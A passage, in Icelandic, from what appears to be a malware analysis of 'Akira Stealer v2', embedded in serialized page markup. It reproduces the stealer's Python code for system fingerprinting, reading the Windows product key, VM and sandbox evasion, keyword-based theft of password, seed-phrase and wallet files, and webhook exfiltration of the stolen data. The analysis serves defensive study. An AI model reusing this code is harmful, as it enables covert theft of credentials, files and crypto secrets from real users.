requests.get(url=\"https://api.ipify.org\").text\n        ipdata = json.loads(requests.post(url=f\"http://ip-api.com/json/{self.ip}\").text)\n        self.country = ipdata.get(\"country\")\n        self.countryCode = ipdata.get(\"countryCode\", \"\").lower()\n",[578,9104,9105,9110,9115,9120,9125,9130,9135,9140,9145,9150],{"__ignoreMap":529},[1712,9106,9107],{"class":1714,"line":1715},[1712,9108,9109],{},"class Data:\n",[1712,9111,9112],{"class":1714,"line":530},[1712,9113,9114],{},"    def __init__(self):\n",[1712,9116,9117],{"class":1714,"line":2096},[1712,9118,9119],{},"        self.username = os.getlogin()\n",[1712,9121,9122],{"class":1714,"line":2102},[1712,9123,9124],{},"        self.computerName = os.getenv(\"computername\") or \"Unable to get computer name\"\n",[1712,9126,9127],{"class":1714,"line":2424},[1712,9128,9129],{},"        self.system_info = f\"Computer Name: {self.computerName}\\n...\"\n",[1712,9131,9132],{"class":1714,"line":2430},[1712,9133,9134],{},"        ...\n",[1712,9136,9137],{"class":1714,"line":3086},[1712,9138,9139],{},"        self.ip = requests.get(url=\"https://api.ipify.org\").text\n",[1712,9141,9142],{"class":1714,"line":3881},[1712,9143,9144],{},"        ipdata = json.loads(requests.post(url=f\"http://ip-api.com/json/{self.ip}\").text)\n",[1712,9146,9147],{"class":1714,"line":3887},[1712,9148,9149],{},"        self.country = ipdata.get(\"country\")\n",[1712,9151,9152],{"class":1714,"line":4132},[1712,9153,9154],{},"        self.countryCode = ipdata.get(\"countryCode\", \"\").lower()\n",[630,9156,9157,9170],{},[633,9158,9159,9162,9163,9166,9167,613],{},[567,9160,9161],{},"Notandanafn og hostname:"," sótt með ",[578,9164,9165],{},"os.getlogin()"," og umhverfisbreytunni ",[578,9168,9169],{},"COMPUTERNAME",[633,9171,9172,9162,9175,9178,9179,9181],{},[567,9173,9174],{},"IP-tala:",[578,9176,9177],{},"requests.get(\"https://api.ipify.org\")"," og svo staðsett í gegnum ",[578,9180,5347],{}," til að fá land og ISO-kóða.",[888,9183,9185],{"id":9184},"_7102-upptalning-stýrikerfis-og-vélbúnaðar","7.10.2 Upptalning stýrikerfis og vélbúnaðar",[525,9187,894],{},[525,9189,9190],{},"Með skipunum Windows Management Instrumentation (WMI):",[615,9192,9194],{"className":4516,"code":9193,"language":4518,"meta":529,"style":529},"# Operating System\nself.computerOS = subprocess.run('wmic os get Caption', shell=True, capture_output=True).stdout\n# Total Physical Memory\nself.totalMemory = subprocess.run('wmic computersystem get totalphysicalmemory', ...)\n# BIOS UUID\nself.uuid = subprocess.run('wmic csproduct get uuid', ...)\n# CPU Identifier\nself.cpu = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:System...\\Processor_Identifier'\", ...)\n# GPU Name\nself.gpu = subprocess.run('wmic path win32_VideoController get name', ...)\n# Windows Product Key\nself.productKey = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\\\Microsoft\\\\Windows NT...SoftwareProtectionPlatform' -Name BackupProductKeyDefault\", ...)\n",[578,9195,9196,9201,9206,9211,9216,9221,9226,9231,9236,9241,9246,9251],{"__ignoreMap":529},[1712,9197,9198],{"class":1714,"line":1715},[1712,9199,9200],{},"# Operating System\n",[1712,9202,9203],{"class":1714,"line":530},[1712,9204,9205],{},"self.computerOS = subprocess.run('wmic os get Caption', shell=True, capture_output=True).stdout\n",[1712,9207,9208],{"class":1714,"line":2096},[1712,9209,9210],{},"# Total Physical Memory\n",[1712,9212,9213],{"class":1714,"line":2102},[1712,9214,9215],{},"self.totalMemory = subprocess.run('wmic computersystem get totalphysicalmemory', ...)\n",[1712,9217,9218],{"class":1714,"line":2424},[1712,9219,9220],{},"# BIOS UUID\n",[1712,9222,9223],{"class":1714,"line":2430},[1712,9224,9225],{},"self.uuid = subprocess.run('wmic csproduct get uuid', ...)\n",[1712,9227,9228],{"class":1714,"line":3086},[1712,9229,9230],{},"# CPU Identifier\n",[1712,9232,9233],{"class":1714,"line":3881},[1712,9234,9235],{},"self.cpu = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:System...\\Processor_Identifier'\", ...)\n",[1712,9237,9238],{"class":1714,"line":3887},[1712,9239,9240],{},"# GPU Name\n",[1712,9242,9243],{"class":1714,"line":4132},[1712,9244,9245],{},"self.gpu = subprocess.run('wmic path win32_VideoController get name', ...)\n",[1712,9247,9248],{"class":1714,"line":5049},[1712,9249,9250],{},"# Windows Product Key\n",[1712,9252,9253],{"class":1714,"line":5055},[1712,9254,9255],{},"self.productKey = subprocess.run(\"powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\\\\Microsoft\\\\Windows NT...SoftwareProtectionPlatform' -Name BackupProductKeyDefault\", ...)\n",[525,9257,9258,9259,9262],{},"Niðurstöður eru unnar í læsilega strengi (",[578,9260,9261],{},"strip()",", vísiaðgerðir) og skeyttar saman í:",[615,9264,9266],{"className":4516,"code":9265,"language":4518,"meta":529,"style":529},"self.system_info = (\n    f\"Computer Name: {self.computerName}\\n\"\n    f\"Total Memory: {self.totalMemory}\\n\"\n    f\"CPU: {self.cpu}\\n\"\n    f\"GPU: {self.gpu}\\n\"\n    f\"Product Key: {self.productKey}\"\n)\n",[578,9267,9268,9273,9278,9283,9288,9293,9298],{"__ignoreMap":529},[1712,9269,9270],{"class":1714,"line":1715},[1712,9271,9272],{},"self.system_info = (\n",[1712,9274,9275],{"class":1714,"line":530},[1712,9276,9277],{},"    f\"Computer Name: {self.computerName}\\n\"\n",[1712,9279,9280],{"class":1714,"line":2096},[1712,9281,9282],{},"    f\"Total Memory: {self.totalMemory}\\n\"\n",[1712,9284,9285],{"class":1714,"line":2102},[1712,9286,9287],{},"    f\"CPU: {self.cpu}\\n\"\n",[1712,9289,9290],{"class":1714,"line":2424},[1712,9291,9292],{},"    f\"GPU: {self.gpu}\\n\"\n",[1712,9294,9295],{"class":1714,"line":2430},[1712,9296,9297],{},"    f\"Product Key: {self.productKey}\"\n",[1712,9299,9300],{"class":1714,"line":3086},[1712,9301,5268],{},[888,9303,9305],{"id":9304},"_7103-vm-detection-og-athuganir-gegn-sandbox","7.10.3 VM-detection og athuganir gegn sandbox",[525,9307,894],{},[525,9309,9310,9311,9313],{},"Áður en djúpgreiningin hefst kallar malware-ið á ",[578,9312,4688],{}," til að finna sýndarvæðingar- eða greiningarumhverfi:",[615,9315,9317],{"className":4516,"code":9316,"language":4518,"meta":529,"style":529},"if VmProtect.isVM(1):\n    sys.exit()\n",[578,9318,9319,9324],{"__ignoreMap":529},[1712,9320,9321],{"class":1714,"line":1715},[1712,9322,9323],{},"if VmProtect.isVM(1):\n",[1712,9325,9326],{"class":1714,"line":530},[1712,9327,9328],{},"    sys.exit()\n",[525,9330,9331],{},"Meðal helstu athugana eru:",[630,9333,9334,9340,9346,9352],{},[633,9335,9336,9339],{},[567,9337,9338],{},"Registry-lyklar og lýsingar drivera",": gerir fyrirspurnir í registry-færslur sem tengjast sýndarvæðingu.",[633,9341,9342,9345],{},[567,9343,9344],{},"Svartlistuð UUID og tölvuheiti",": ber við þekkt fingraför sýndarvéla.",[633,9347,9348,9351],{},[567,9349,9350],{},"HTTP-hermun",": reynir að tengjast léni sem er ekki til yfir HTTPS.",[633,9353,9354,9357,9358,646,9361,646,9364,613],{},[567,9355,9356],{},"Svartlisti ferla",": ræsir bakgrunnsþráð til að drepa tól eins og ",[578,9359,9360],{},"wireshark",[578,9362,9363],{},"ollydbg",[578,9365,9366],{},"ida64",[888,9368,9370],{"id":9369},"_7104-pökkun-og-sending","7.10.4 Pökkun og sending",[525,9372,894],{},[525,9374,9375,9376,9379],{},"Söfnuðu ",[578,9377,9378],{},"system_info",", IP-ið og fáni landsins eru byggð inn í hausana á webhook-payloadinum:",[615,9381,9383],{"className":4516,"code":9382,"language":4518,"meta":529,"style":529},"webhook_payload = {\n    \"embeds\": [{\n        \"title\": f\"💉 Infected {self.computerName}/{self.username} | {self.ip} {flag}\",\n        \"description\": description + \"\\n```⚙️ System Info\\n\" + self.system_info + \"```\",\n        \"fields\": [...]\n    }]\n}\nrequests.post(self.webhook_url, json=webhook_payload)\n",[578,9384,9385,9390,9395,9400,9405,9410,9415,9419],{"__ignoreMap":529},[1712,9386,9387],{"class":1714,"line":1715},[1712,9388,9389],{},"webhook_payload = {\n",[1712,9391,9392],{"class":1714,"line":530},[1712,9393,9394],{},"    \"embeds\": [{\n",[1712,9396,9397],{"class":1714,"line":2096},[1712,9398,9399],{},"        \"title\": f\"💉 Infected {self.computerName}/{self.username} | {self.ip} {flag}\",\n",[1712,9401,9402],{"class":1714,"line":2102},[1712,9403,9404],{},"        \"description\": description + \"\\n```⚙️ System Info\\n\" + self.system_info + \"```\",\n",[1712,9406,9407],{"class":1714,"line":2424},[1712,9408,9409],{},"        \"fields\": [...]\n",[1712,9411,9412],{"class":1714,"line":2430},[1712,9413,9414],{},"    }]\n",[1712,9416,9417],{"class":1714,"line":3086},[1712,9418,2433],{},[1712,9420,9421],{"class":1714,"line":3881},[1712,9422,9423],{},"requests.post(self.webhook_url, json=webhook_payload)\n",[630,9425,9426,9432],{},[633,9427,9428,9431],{},[567,9429,9430],{},"Fánatáknmynd",": leidd út frá ISO-landskóðanum.",[633,9433,9434,9437],{},[567,9435,9436],{},"Svæði",": innihalda tölur yfir stolin lykilorð, cookies og fleira, en kerfisupplýsingarnar eru í lýsingu embedsins svo samhengið fáist samstundis.",[525,9439,9440,9443],{},[567,9441,9442],{},"Samantekt:","\nKerfisgreiningin í Akira Stealer v2 safnar heildstæðum gögnum um hostinn og netið með WMI-skipunum, umhverfisbreytum og IP-staðsetningu. Ásamt VM-detection og rútínum sem drepa tól tryggir þetta að árásaraðilinn hafi fulla mynd af kompromíseraða umhverfinu, sem styrkir markvissar eftirfylgniaðgerðir og síar út greiningar-sandboxa.",[740,9445,9447,9448,1138],{"id":9446},"_711-skráagrabbari-klasi-utilssteal_files","7.11 Skráagrabbari (klasi: ",[578,9449,9450],{},"Utils.steal_files",[525,9452,746],{},[525,9454,9455],{},"Umfram browsergögn og tokens reynir Akira einnig að draga út verðmætt efni sem notandinn hefur búið til, svo sem skjöl, töflureikna, persónulegar nótur og skrár með dulkóðunarlyklum. Skráagrabbara-einingin er ábyrg fyrir þessu verki. Hún skannar verðmætar möppur að algengum skráartegundum og mynstrum og bætir þeim hljóðlega í exfiltration-búntinn. Það sem gerir þessa einingu sérstaklega hættulega er einfaldleiki hennar og einbeiting: hún reynir ekki að fara yfir allt skráakerfið. Í staðinn beinist hún að tilteknum stöðum með háa vinningslíkindi þar sem viðkvæmar skrár eru yfirleitt geymdar. Þar á meðal eru Desktop-, Documents-, Downloads- og OneDrive-möppurnar, hver miðuð við heimaslóð notandans. Þessi markvissa nálgun bætir bæði hraða og ósýnileika og minnkar líkur á detection meðan skannað er. Hún forðast líka að vekja notandann með því að fara ekki í kerfis- eða varðar möppur. Þegar skrár sem áhugi er á hafa fundist eru þær afritaðar í tímabundna möppu, eftir atvikum endurnefndar eða flokkaðar, og síðar þjappaðar í endanlega ZIP-safnskrá sem hlaðið er upp í exfiltration-fasanum.",[888,9457,9459],{"id":9458},"_7111-upptalning-markmappa","7.11.1 Upptalning markmappa",[525,9461,894],{},[525,9463,9464],{},"Stealerinn beinist að fjórum möppum með háa afurð:",[615,9466,9468],{"className":4516,"code":9467,"language":4518,"meta":529,"style":529},"searchFolders = [\n    \"Desktop\",\n    \"Documents\",\n    \"Downloads\",\n    \"OneDrive\"\n]\n",[578,9469,9470,9475,9480,9485,9490,9495],{"__ignoreMap":529},[1712,9471,9472],{"class":1714,"line":1715},[1712,9473,9474],{},"searchFolders = [\n",[1712,9476,9477],{"class":1714,"line":530},[1712,9478,9479],{},"    \"Desktop\",\n",[1712,9481,9482],{"class":1714,"line":2096},[1712,9483,9484],{},"    \"Documents\",\n",[1712,9486,9487],{"class":1714,"line":2102},[1712,9488,9489],{},"    \"Downloads\",\n",[1712,9491,9492],{"class":1714,"line":2424},[1712,9493,9494],{},"    \"OneDrive\"\n",[1712,9496,9497],{"class":1714,"line":2430},[1712,9498,7938],{},[525,9500,9501],{},"Hver mappa er túlkuð miðað við heimamöppu fórnarlambsins:",[615,9503,9505],{"className":4516,"code":9504,"language":4518,"meta":529,"style":529},"for folder in searchFolders:\n    current_path = os.path.join(os.environ['USERPROFILE'], folder)\n    if os.path.exists(current_path):\n        # proceed to scan\n",[578,9506,9507,9512,9517,9522],{"__ignoreMap":529},[1712,9508,9509],{"class":1714,"line":1715},[1712,9510,9511],{},"for folder in searchFolders:\n",[1712,9513,9514],{"class":1714,"line":530},[1712,9515,9516],{},"    current_path = os.path.join(os.environ['USERPROFILE'], folder)\n",[1712,9518,9519],{"class":1714,"line":2096},[1712,9520,9521],{},"    if os.path.exists(current_path):\n",[1712,9523,9524],{"class":1714,"line":2102},[1712,9525,9526],{},"        # proceed to scan\n",[888,9528,9530],{"id":9529},"_7112-síun-eftir-leitarorðum-og-skráarendingum","7.11.2 Síun eftir leitarorðum og skráarendingum",[525,9532,894],{},[525,9534,9535],{},[567,9536,9537],{},"Listi leitarorða",[525,9539,9540],{},"Fyrirfram skilgreint safn undirstrengja stýrir skráavalinu. Aðeins skráarheiti sem innihalda að minnsta kosti eitt leitarorð eru tekin til skoðunar:",[615,9542,9544],{"className":4516,"code":9543,"language":4518,"meta":529,"style":529},"keywordsFiles = [\n    \"passw\", \"seed\", \"mnemo\", \"phrase\", \"login\", \"wallet\",\n    \"crypto\", \"token\", \"backup\", \"secret\", \"account\"\n]\n",[578,9545,9546,9551,9556,9561],{"__ignoreMap":529},[1712,9547,9548],{"class":1714,"line":1715},[1712,9549,9550],{},"keywordsFiles = [\n",[1712,9552,9553],{"class":1714,"line":530},[1712,9554,9555],{},"    \"passw\", \"seed\", \"mnemo\", \"phrase\", \"login\", \"wallet\",\n",[1712,9557,9558],{"class":1714,"line":2096},[1712,9559,9560],{},"    \"crypto\", \"token\", \"backup\", \"secret\", \"account\"\n",[1712,9562,9563],{"class":1714,"line":2102},[1712,9564,7938],{},[630,9566,9567,9583],{},[633,9568,9569,9572,9573,9576,9577,585,9580,613],{},[567,9570,9571],{},"Hlutasamsvaranir",": leitarorð eins og ",[578,9574,9575],{},"passw"," fanga bæði ",[578,9578,9579],{},"passwords.txt",[578,9581,9582],{},"passw_backup.docx",[633,9584,9585,9588],{},[567,9586,9587],{},"Breið þekja",": nær yfir hugtök sem tengjast sannvottun, veskjum, kryptó og tokens.",[888,9590,9592],{"id":9591},"_7113-skráartegundir-sem-eru-heimilaðar","7.11.3 Skráartegundir sem eru heimilaðar",[525,9594,894],{},[525,9596,9597],{},"Til að lágmarka klið er hvítlisti skráarendinga framfylgt:",[615,9599,9601],{"className":4516,"code":9600,"language":4518,"meta":529,"style":529},"allowed_extensions = [\n    \".txt\", \".doc\", \".docx\", \".pdf\", \".csv\", \".xls\", \".xlsx\",\n    \".jpg\", \".png\"\n]\n",[578,9602,9603,9608,9613,9618],{"__ignoreMap":529},[1712,9604,9605],{"class":1714,"line":1715},[1712,9606,9607],{},"allowed_extensions = [\n",[1712,9609,9610],{"class":1714,"line":530},[1712,9611,9612],{},"    \".txt\", \".doc\", \".docx\", \".pdf\", \".csv\", \".xls\", \".xlsx\",\n",[1712,9614,9615],{"class":1714,"line":2096},[1712,9616,9617],{},"    \".jpg\", \".png\"\n",[1712,9619,9620],{"class":1714,"line":2102},[1712,9621,7938],{},[888,9623,9625],{"id":9624},"_7113-stærðarþak","7.11.3 Stærðarþak",[525,9627,894],{},[525,9629,9630],{},"Skrár stærri en 2 megabæt eru sleppt til að hraða exfiltration og forðast stórar sendingar:",[615,9632,9634],{"className":4516,"code":9633,"language":4518,"meta":529,"style":529},"file_size_mb = os.path.getsize(full_path) / (1024 * 1024)\nif file_size_mb \u003C= 2:\n    # eligible for copy\n",[578,9635,9636,9641,9646],{"__ignoreMap":529},[1712,9637,9638],{"class":1714,"line":1715},[1712,9639,9640],{},"file_size_mb = os.path.getsize(full_path) / (1024 * 1024)\n",[1712,9642,9643],{"class":1714,"line":530},[1712,9644,9645],{},"if file_size_mb \u003C= 2:\n",[1712,9647,9648],{"class":1714,"line":2096},[1712,9649,9650],{},"    # eligible for copy\n",[888,9652,9654],{"id":9653},"_7114-endurkvæm-skönnun-og-afritunarrökvísi","7.11.4 Endurkvæm skönnun og afritunarrökvísi",[525,9656,894],{},[525,9658,9659],{},"Þegar verðmætu möppurnar hafa verið greindar hefur Akira endurkvæma skönnunarrútínu til að fara í gegnum undirmöppur og finna skrár sem passa við tiltekin leitarorð og skráarendingar. Þessi fasi er byggður fyrir nákvæmni og ósýnileika: aðeins skrár sem passa við fyrirfram skilgreind viðmið, svo sem skráarheiti sem innihalda viðkvæm leitarorð og heimilaðar skráartegundir, eru tekin til skoðunar. Rökvísin tryggir að aðeins efni sem á við og notandinn hefur búið til sé exfiltrerað. Hún horfir framhjá kerfisskrám, skyndiminni og binaries og takmarkar stærð hverrar einstakrar skráar við 2 MB til að minnka upphalsstærð og detection-áhættu. Þessi skönnunaraðferð er hljóðlát, skilvirk og fínstillt fyrir hljóðlátan gagnaþjófnað í raunumhverfum. Með því að afrita skrár sem passa í staging-möppu og halda lista yfir það sem var tekið undirbýr Akira innihaldið til pökkunar og exfiltration, en lágmarkar um leið afföll og rekstrarklið.",[525,9661,9662,9663,9666],{},"Kjarnarútínan ",[578,9664,9665],{},"steal_files()"," starfar svona:",[615,9668,9670],{"className":4516,"code":9669,"language":4518,"meta":529,"style":529},"@staticmethod\ndef steal_files():\n    stolen_files = set()\n    temp_folder = Utils.get_temp_folder()\n\n    for folder in searchFolders:\n        current_path = os.path.join(os.environ['USERPROFILE'], folder)\n        if os.path.exists(current_path):\n            for root, _, files in os.walk(current_path):\n                for file in files:\n                    lower = file.lower()\n                    # Keyword check\n                    if any(keyword in lower for keyword in keywordsFiles):\n                        ext = os.path.splitext(lower)[1]\n                        # Extension and size check\n                        if ext in allowed_extensions and os.path.getsize(os.path.join(root, file)) \u003C= 2 * 1024 * 1024:\n                            # Prepare destination\n                            files_dir = os.path.join(temp_folder, \"Files\")\n                            os.makedirs(files_dir, exist_ok=True)\n                            shutil.copy(os.path.join(root, file), os.path.join(files_dir, file))\n                            stolen_files.add(file)\n    data.stolen_files.extend(stolen_files)\n",[578,9671,9672,9676,9681,9686,9691,9695,9700,9705,9710,9715,9720,9725,9730,9735,9740,9745,9750,9755,9760,9765,9770,9775],{"__ignoreMap":529},[1712,9673,9674],{"class":1714,"line":1715},[1712,9675,5001],{},[1712,9677,9678],{"class":1714,"line":530},[1712,9679,9680],{},"def steal_files():\n",[1712,9682,9683],{"class":1714,"line":2096},[1712,9684,9685],{},"    stolen_files = set()\n",[1712,9687,9688],{"class":1714,"line":2102},[1712,9689,9690],{},"    temp_folder = Utils.get_temp_folder()\n",[1712,9692,9693],{"class":1714,"line":2424},[1712,9694,3878],{"emptyLinePlaceholder":325},[1712,9696,9697],{"class":1714,"line":2430},[1712,9698,9699],{},"    for folder in searchFolders:\n",[1712,9701,9702],{"class":1714,"line":3086},[1712,9703,9704],{},"        current_path = os.path.join(os.environ['USERPROFILE'], folder)\n",[1712,9706,9707],{"class":1714,"line":3881},[1712,9708,9709],{},"        if os.path.exists(current_path):\n",[1712,9711,9712],{"class":1714,"line":3887},[1712,9713,9714],{},"            for root, _, files in os.walk(current_path):\n",[1712,9716,9717],{"class":1714,"line":4132},[1712,9718,9719],{},"                for file in files:\n",[1712,9721,9722],{"class":1714,"line":5049},[1712,9723,9724],{},"                    lower = file.lower()\n",[1712,9726,9727],{"class":1714,"line":5055},[1712,9728,9729],{},"                    # Keyword check\n",[1712,9731,9732],{"class":1714,"line":5061},[1712,9733,9734],{},"                    if any(keyword in lower for keyword in keywordsFiles):\n",[1712,9736,9737],{"class":1714,"line":5067},[1712,9738,9739],{},"                        ext = os.path.splitext(lower)[1]\n",[1712,9741,9742],{"class":1714,"line":5073},[1712,9743,9744],{},"                        # Extension and size check\n",[1712,9746,9747],{"class":1714,"line":5079},[1712,9748,9749],{},"                        if ext in allowed_extensions and os.path.getsize(os.path.join(root, file)) \u003C= 2 * 1024 * 1024:\n",[1712,9751,9752],{"class":1714,"line":5085},[1712,9753,9754],{},"                            # Prepare destination\n",[1712,9756,9757],{"class":1714,"line":5091},[1712,9758,9759],{},"                            files_dir = os.path.join(temp_folder, \"Files\")\n",[1712,9761,9762],{"class":1714,"line":5097},[1712,9763,9764],{},"                            os.makedirs(files_dir, exist_ok=True)\n",[1712,9766,9767],{"class":1714,"line":5103},[1712,9768,9769],{},"                            shutil.copy(os.path.join(root, file), os.path.join(files_dir, file))\n",[1712,9771,9772],{"class":1714,"line":5109},[1712,9773,9774],{},"                            stolen_files.add(file)\n",[1712,9776,9777],{"class":1714,"line":5115},[1712,9778,9779],{},"    data.stolen_files.extend(stolen_files)\n",[525,9781,9782],{},[567,9783,2631],{},[2110,9785,9786,9794,9803,9812,9818],{},[633,9787,9788,9793],{},[567,9789,9790],{},[578,9791,9792],{},"os.walk",": fer endurkvæmt niður í undirmöppur.",[633,9795,9796,9799,9800,613],{},[567,9797,9798],{},"Samsvörun óháð stafstærð",": skráarheiti eru samræmd með ",[578,9801,9802],{},"lower()",[633,9804,9805,9808,9809,9811],{},[567,9806,9807],{},"Heil afritun",": notar ",[578,9810,7804],{}," til að varðveita innihald skráarinnar.",[633,9813,9814,9817],{},[567,9815,9816],{},"Safn stolinna skráarheita",": hindrar afföll þegar sama skrá kemur fyrir tvisvar.",[633,9819,9820,998,9825,9828],{},[567,9821,9822,9823],{},"Samþætting við ",[578,9824,9083],{},[578,9826,9827],{},"data.stolen_files"," safnar lista yfir stolnar skrár fyrir síðari tilkynningu.",[888,9830,9832],{"id":9831},"_7115-pökkun-og-exfiltration","7.11.5 Pökkun og exfiltration",[525,9834,894],{},[525,9836,9837,9838,9841],{},"Eftir söfnun er ",[578,9839,9840],{},"Files","-möppunni pakkað og hún send:",[615,9843,9845],{"className":4516,"code":9844,"language":4518,"meta":529,"style":529},"# Archive\nUtils.zip_client_file()  # creates CLIENT.zip from temp_folder\n\n# Upload & Notify\nakira.sendFilesTG(Utils.get_temp_folder(), startup)\nhook.sendFilesTG(Utils.get_temp_folder(), startup)\n",[578,9846,9847,9852,9857,9861,9866,9871],{"__ignoreMap":529},[1712,9848,9849],{"class":1714,"line":1715},[1712,9850,9851],{},"# Archive\n",[1712,9853,9854],{"class":1714,"line":530},[1712,9855,9856],{},"Utils.zip_client_file()  # creates CLIENT.zip from temp_folder\n",[1712,9858,9859],{"class":1714,"line":2096},[1712,9860,3878],{"emptyLinePlaceholder":325},[1712,9862,9863],{"class":1714,"line":2102},[1712,9864,9865],{},"# Upload & Notify\n",[1712,9867,9868],{"class":1714,"line":2424},[1712,9869,9870],{},"akira.sendFilesTG(Utils.get_temp_folder(), startup)\n",[1712,9872,9873],{"class":1714,"line":2430},[1712,9874,9875],{},"hook.sendFilesTG(Utils.get_temp_folder(), startup)\n",[630,9877,9878,9894],{},[633,9879,9880,9885,9886,646,9888,646,9890,9893],{},[567,9881,9882],{},[578,9883,9884],{},"zip_client_file()",": þjappar allri tímabundnu möppunni, þar á meðal ",[578,9887,9840],{},[578,9889,6344],{},[578,9891,9892],{},"Passwords"," og fleiru.",[633,9895,9896,9900,9901],{},[567,9897,9898],{},[578,9899,9065],{},": birtir niðurhalshlekkinn með Telegram- eða Discord-webhook og listar hvert stolið skráarheiti:",[615,9902,9904],{"className":4516,"code":9903,"language":4518,"meta":529,"style":529},"fields.append({\n\"name\": \"📂 Files\",\n\"value\": \"`\" + \"\\n\".join(data.stolen_files) + \"`\",\n\"inline\": False\n})\n",[578,9905,9906,9911,9916,9921,9926],{"__ignoreMap":529},[1712,9907,9908],{"class":1714,"line":1715},[1712,9909,9910],{},"fields.append({\n",[1712,9912,9913],{"class":1714,"line":530},[1712,9914,9915],{},"\"name\": \"📂 Files\",\n",[1712,9917,9918],{"class":1714,"line":2096},[1712,9919,9920],{},"\"value\": \"`\" + \"\\n\".join(data.stolen_files) + \"`\",\n",[1712,9922,9923],{"class":1714,"line":2102},[1712,9924,9925],{},"\"inline\": False\n",[1712,9927,9928],{"class":1714,"line":2424},[1712,9929,9930],{},"})\n",[525,9932,9933],{},[567,9934,9935],{},"Niðurstaða:",[525,9937,9938],{},"Skráagrabbarinn í Akira Stealer v2 leitar með aðferð að viðkvæmum skjölum með síum á leitarorð og skráarendingar, virðir 2 MB stærðarþak til að vera skilvirkur og sameinar stolna hluti í safnskrá. Hönnun hans tryggir bæði breidd (margar möppur) og nákvæmni (markvissar síur), sem gerir hann eitt áhrifamesta þrepið í líftíma malware-sins.",[740,9940,9942],{"id":9941},"_712-stefna-við-exfiltration","7.12 Stefna við exfiltration",[525,9944,746],{},[525,9946,9947],{},"Exfiltration-einingin meðhöndlar söfnuð tokens og aðra artifacts (cookies, sjálfvirkar útfyllingar, logga) með því að staging-a þau í skipulagðri möppu, þjappa í safnskrá, hlaða upp á margar netskráahýsingar og senda ítarlegar webhook-tilkynningar. Þessi kafli tekur hvert skref í sundur með skráaslóðum, lénaendapunktum og kóðatilvísunum til fulls rekjanleika.",[888,9949,9951],{"id":9950},"_7121-möppuskipulag-og-skráarheiti","7.12.1 Möppuskipulag og skráarheiti",[525,9953,894],{},[525,9955,9956],{},"Akira skipuleggur alla söfnuðu artifacts í hreina og lagskipta tímabundna möppuuppbyggingu. Þessi hönnun gerir pökkun skilvirka og einfaldar árásaraðilanum að fara yfir niðurstöðurnar eftir exfiltration. Hver gagnaflokkur, svo sem Tokens, Cookies, Passwords eða Screenshots, er geymdur í sinni eigin undirmöppu undir rótarslóð sem er nefnd eftir tölvu fórnarlambsins (t.d. DESKTOP1234). Þetta skipulag tryggir skýrleika, lágmarkar afföll og einfaldar pökkun og upphal. Það gerir einnig sjálfvirka úrvinnslu eða handvirka skoðun mun auðveldari hjá árásaraðilanum.",[615,9958,9961],{"className":9959,"code":9960,"language":620},[618],"C:\\Users\\User\\AppData\\Local\\Temp\\DESKTOP1234\\\n├─ Tokens\\\n│   ├ token_ab12cd34.txt\n│   └ token_ef56gh78.txt\n├─ Cookies\\\n│   ├ Chrome_Cookies.txt\n│   └ Discord_Cookies.txt\n├─ Autofill\\\n├─ Passwords\\\n├─ Logs\\\n└─ Screenshots\\\n",[578,9962,9960],{"__ignoreMap":529},[888,9964,9966],{"id":9965},"_7122-staging-tokens-og-artifacts","7.12.2 Staging tokens og artifacts",[525,9968,894],{},[525,9970,9971],{},"Áður en exfiltration hefst staging-ar Akira alla viðeigandi artifacts í samsvarandi undirmöppur. Gildi tokens eru til dæmis skrifuð í sérstakar .txt-skrár til að einfalda hraða skoðun og staðfestingu. Cookies, sjálfvirkar útfyllingarfærslur og lykilorð eru á sama hátt skrifuð í skipulagðar textaskrár nefndar eftir browsernum. Þetta skref samræmir gagnaskipulagið og gerir sjálfvirkum verkfærum kleift að fylgjast með því sem var safnað. Það tryggir líka að ZIP-safnskráin sem verður til endurspegli forspáanlegt snið sem er hentugt fyrir árásaraðilann, óháð því hvaða einingar voru kveiktar.",[615,9973,9975],{"className":4516,"code":9974,"language":4518,"meta":529,"style":529},"import os, shutil\n# Constants\nTMP = os.getenv('TEMP')\nROOT = os.path.join(TMP, os.getenv('COMPUTERNAME'))\n# Prepare structure\nfor sub in ['Tokens','Cookies','Autofill','Passwords','Logs','Screenshots']:\n    os.makedirs(os.path.join(ROOT, sub), exist_ok=True)\n# Save token\nwith open(os.path.join(ROOT, 'Tokens', f'token_{token[:8]}.txt'), 'w') as f:\n    f.write(token)\n",[578,9976,9977,9982,9987,9992,9997,10002,10007,10012,10017,10022],{"__ignoreMap":529},[1712,9978,9979],{"class":1714,"line":1715},[1712,9980,9981],{},"import os, shutil\n",[1712,9983,9984],{"class":1714,"line":530},[1712,9985,9986],{},"# Constants\n",[1712,9988,9989],{"class":1714,"line":2096},[1712,9990,9991],{},"TMP = os.getenv('TEMP')\n",[1712,9993,9994],{"class":1714,"line":2102},[1712,9995,9996],{},"ROOT = os.path.join(TMP, os.getenv('COMPUTERNAME'))\n",[1712,9998,9999],{"class":1714,"line":2424},[1712,10000,10001],{},"# Prepare structure\n",[1712,10003,10004],{"class":1714,"line":2430},[1712,10005,10006],{},"for sub in ['Tokens','Cookies','Autofill','Passwords','Logs','Screenshots']:\n",[1712,10008,10009],{"class":1714,"line":3086},[1712,10010,10011],{},"    os.makedirs(os.path.join(ROOT, sub), exist_ok=True)\n",[1712,10013,10014],{"class":1714,"line":3881},[1712,10015,10016],{},"# Save token\n",[1712,10018,10019],{"class":1714,"line":3887},[1712,10020,10021],{},"with open(os.path.join(ROOT, 'Tokens', f'token_{token[:8]}.txt'), 'w') as f:\n",[1712,10023,10024],{"class":1714,"line":4132},[1712,10025,10026],{},"    f.write(token)\n",[630,10028,10029,10032],{},[633,10030,10031],{},"Tokens vistuð í aðskildum litlum textaskrám til fljótlegrar skoðunar.",[633,10033,10034,10035,10038,10039,613],{},"Cookie-dumpar úr ",[578,10036,10037],{},"Chromium.GetCookies()"," skrifaðir í ",[578,10040,10041],{},"{Browser}_Cookies.txt",[888,10043,10045],{"id":10044},"_7133-að-búa-til-zip-safnskrá","7.13.3 Að búa til ZIP-safnskrá",[525,10047,894],{},[525,10049,10050,10051],{},"Þegar staging er lokið þjappar Akira allri möppunni í eina ZIP-safnskrá. Skráarheiti safnskrárinnar fylgir samræmdri nafnavenju: ",[10052,10053,10054,10055],"computer-name",{},"_",[10056,10057,10058],"timestamp",{},".zip, með heiti vélarinnar og UTC-tímastimpli á ISO 8601-sniði. Það tryggir bæði einkvæmni og rekjanleika í tímaröð. Með því að fara endurkvæmt yfir alla 